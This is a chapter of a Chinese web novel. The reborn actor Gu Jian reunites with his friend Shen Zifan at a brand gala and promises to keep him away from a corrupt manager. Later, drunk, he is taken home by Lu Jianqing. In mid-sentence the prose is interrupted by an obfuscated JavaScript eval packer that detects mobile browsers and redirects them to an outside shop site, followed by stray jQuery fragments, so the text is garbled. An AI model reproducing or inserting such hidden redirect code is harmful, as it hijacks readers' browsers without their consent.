接下来几天,顾简都没再见到陆简清,联系也只有过一次。陆简清实在很忙,行程排得很满,基本都在外地。顾简有在网上刷到他粉丝拍的路透照,嗯,哪怕有些角度很死亡,也是三百六十度无死角的帅。
顾简悠闲很多,除了杂志拍摄外,就只有一个奢侈品品牌的活动。
活动当天,去了不少人,晚宴上,顾简还见到了沈子帆。
客串完《破阵曲》后,他就没再见过沈子帆,算一算时间,有三个月了。
找了个借口从聚集到他身边和他寒暄的人群中离开,路过侍应生时,他将酒杯递给对方,然后走到沈子帆跟前。
“子帆。”
沈子帆站在自助餐桌前,正在拿糕点,见到他很高兴,“你怎么过来了?”
“来找你聚一聚啊。”顾简笑着说。
宴会厅内觥筹交错,很是热闹,他们挑了个比较安静的角落,沈子帆挖了一块蛋糕吃,问他,“最近怎么样?”
“好吃好睡好玩,特别好。”顾简吃了一颗提子,“你呢?”
“还可以。”沈子帆说。
可过了几秒,他面露迟疑,到底叹了一声,肩膀垮了垮,“算了,其实不太好,最近遇见一些事儿。”
顾简看着他,“怎么了?”
“你解约走了以后,米麦又签进不少人,为了更好的带他们,米麦两个月前招了一批经纪人,里面有个叫张韬的,是米麦从其他公司挖来的,”沈子帆说得委婉,“他的一些手段和做法,我不太认同。”
他皱起眉,“原本和我没关系,但我的经纪人因为家里出了些事,要离职了,我大概率会到张韬手下。”
顾简听完,眉头拧起。
张韬是他上一世的经纪人,在他和米麦彻底闹翻后,梁菲被高层故意调走,之后和公司沆瀣一气,对他极尽压榨的人,就是张韬。
不可否认张韬是有能力的,但他心术不正,手段很脏,且更倾向于走捷径,不论是在舆论造势上,还是一些潜规则上。他很鼓励艺人炒cp,也时常暗示手下新人迎合潜规则,甚至是主动去搭上一些人。
他在那些年里碰见不少,也阻止了不少不愿意做却被逼迫去做的,他到底是米麦的一哥,张韬不敢得罪他,恼怒只能咽进肚里。
也是因为他和张韬从根本上就不合,彼此厌恶对方,所以后来他彻底惹恼米麦的高层以后,在他们的默许下,张韬变成了他的经纪人,对他的报复无所顾忌。
张韬是这个时间被挖来的米麦没错,可沈子帆不该分到他手下,上一世沈子帆的经纪人离职后,他是到了吴永手底下。
吴永人不错,尽管能力一般,但对艺人很好,很照顾,沈子帆被他接手之后,他帮沈子帆规划了一条适合他的路,事业逐渐有了起色。
他重生前,沈子帆已经拿到华艺奖的最佳男配提名了。
顾简抿了抿唇,又是蝴蝶效应吗?
他不能让沈子帆到张韬那里。
他和米麦算是和平解约,现在关系还可以,再加上他如今有了星宿当后台,和陆简清是好友的关系也被业内皆知,这个人情,大概率米麦是会卖的。
想了想,顾简问:“吴永带你,你愿意吗?”
沈子帆一愣,他本意其实只是想抒发心中的郁闷,抱怨一下,因为顾简是他的朋友,又已经离开了米麦。
他沉吟几秒,到底遵从了自己的心,不推托客气,毕竟那就太矫情了,“愿意。”
“谢谢。”他郑重说。
顾简板起脸,佯装生气,“你这么客气,不把我当朋友啊。”
沈子帆呼出一口气,笑了,“行,不说了。”
两人又换其他话题聊,直到半个小时后,品牌方的人过来请顾简,顾简只好意犹未尽暂停了关于火锅的话头,“那我先过去一趟。”
沈子帆点点头,“下次我请你吃火锅。”
顾简眼睛亮了,暗示明显,“我这几天都有空。”
沈子帆忍不住笑,“那就后天吧,我刚好知道一家很好吃的店,老板是山城人。”
“行!”
—
顾简的酒量一般,他陪品牌方代表喝了几杯红酒,九点晚宴结束,到酒店门口等车时被风一吹,头开始晕了。
蒋安晏扶着他,“还好吗?”
“还好。”他人是清醒的,只是晕,手脚发软而已。
蒋安晏说:“回去吃完醒酒药,就好好睡一觉。”
顾简嗯一声,又探头看了看,许乐乐还没把车开上来。也不怪他,门口正堵车呢,一场宴会那么多人,大家都在排队。
又等了五分钟,许乐乐终于把车开来了,蒋安晏扶着顾简上车,关上门,他叮嘱许乐乐记得买解酒药,让他好好照顾顾简。
许乐乐一一记下,把车开走了。
快到顾简住的小区,许乐乐在路边停车,下车到对面药房买醒酒药。
随着时间推移,酒精在体内发酵,顾简越发难受,他觉得车里闷得慌,干脆下了车。
他站不太稳,就靠着车,视线没有聚焦地投在不远处的十字路口,现在绿灯了。
来来往往的车辆穿行在十字路口,忽然一辆他十分眼熟的宾利打着转向灯,从右边的车道拐过来。
他回过神,借着店铺和路灯的光看那辆车的车牌,真是他熟悉的那串号码。
——是陆简清的车。
似乎是也注意到他,宾利的车速慢下来,最终停在他前面一些,随即后车门打开,陆简清下车。他刚从外市回来,风尘仆仆的,衬衣有些褶皱,不够平整,朝自己走过来。
目光在空中相触,顾简眨了眨眼,感慨无比地喃喃,“我们好有缘啊。”
即便他们住得很近,可陆简清白天还远在山城,晚上居然就在A市和他相遇了,怎么不算有缘分。
陆简清一走近他,就闻到了酒味,又看到他泛上脸颊的红晕,以及他站不太稳的样子,哪里还不清楚是醉了?
他知道今天顾简出席品牌活动,晚上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115267|145569||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
品牌方还设了晚宴,大概率是宴会上喝多的。
走到顾简身边,揽过顾简,让他舒服地靠着自己,陆简清的声音在晚风中轻柔不已:“你的助理呢?”
“买醒酒药去了。”顾简没客气,整个人放松下来靠着陆简清,脑袋还找了个更舒服的位置靠,“你忙完了?”
“暂时,休息三天。”
顾简调侃,“好吧,大忙人。”
接着又软了语调,关切说:“要注意休息呀。”
“我知道。”
没多久,许乐乐拿着解酒药出来了,他远远看见顾简被一个人揽着,惊了一跳,飞快跑过斑马线,等近了,看到陆简清侧脸,认出人,提着心才放下。
“陆老师。”他喊了陆简清一声。
陆简清闻声看他,应了一声,然后对他伸出手,“解酒药和车钥匙给我。”
许乐乐有点懵,“啊?”
“我送顾简回去。”
“但是我得留下照顾顾老师。”
“没关系,我会照顾他。”
许乐乐张了张嘴,还想说什么,顾简语调懒懒的开口了,他闭着眼人还倚着陆简清,十分信任和依赖,“给他吧。”
于是许乐乐只好把药和车钥匙一起给陆简清,目送他们离开。
十分钟后,车子驶入小区的地下车库,停好车,陆简清半扶半抱,带着顾简上楼。
大门打开的瞬间,玄关的自动感应灯亮起,脱鞋进门,顾简被扶到沙发坐下。
陆简清把解酒药放到茶几上,进厨房倒水,稍时端着温水出来。顾简手软软的没力气,就着他的手喝水,吃下解酒药。
“还难受吗?”陆简清柔声问。
顾简蔫蔫的,“难受。”
“你喝了多少?”
“不多,”顺势倒在了沙发上,顾简伸出四根手指,“四杯红酒,大概一瓶的量,主要是我酒量不好。”
陆简清垂眸,温柔注视他:“那以后就不要喝了。”
“我本来也很少喝,类似今晚这种无法推脱的晚宴,才会喝一点。”顾简笑得眼睛亮晶晶的,“我很少参加酒局的。”
“我知道。”陆简清莞尔,“你肯定更愿意在家里睡觉。”
“对的。”
陆简清看着他笑,又问,“你家有蜂蜜吗?”
“有,冰箱里。”
“好。”
陆简清起身去泡蜂蜜水,顾简侧身躺着,视线随着陆简清的身影移动,心里暖暖的,忽然觉得很安心。
或许是因为觉得安心,困意突然汹涌的袭来,顾简闭上了眼睛,任由自己陷入到睡梦里。
陆简清泡好蜂蜜水端回来,就发现顾简睡着了。
他放下蜂蜜水,放轻脚步走到懒人沙发拿了搭在上面的毯子,给顾简盖上,然后在旁边的单人沙发坐下。
静静凝视顾简的睡颜,陆简清的眼里晕开了无尽的温柔。
他的声音很柔和,春风一样拂过顾简耳畔,“晚安。”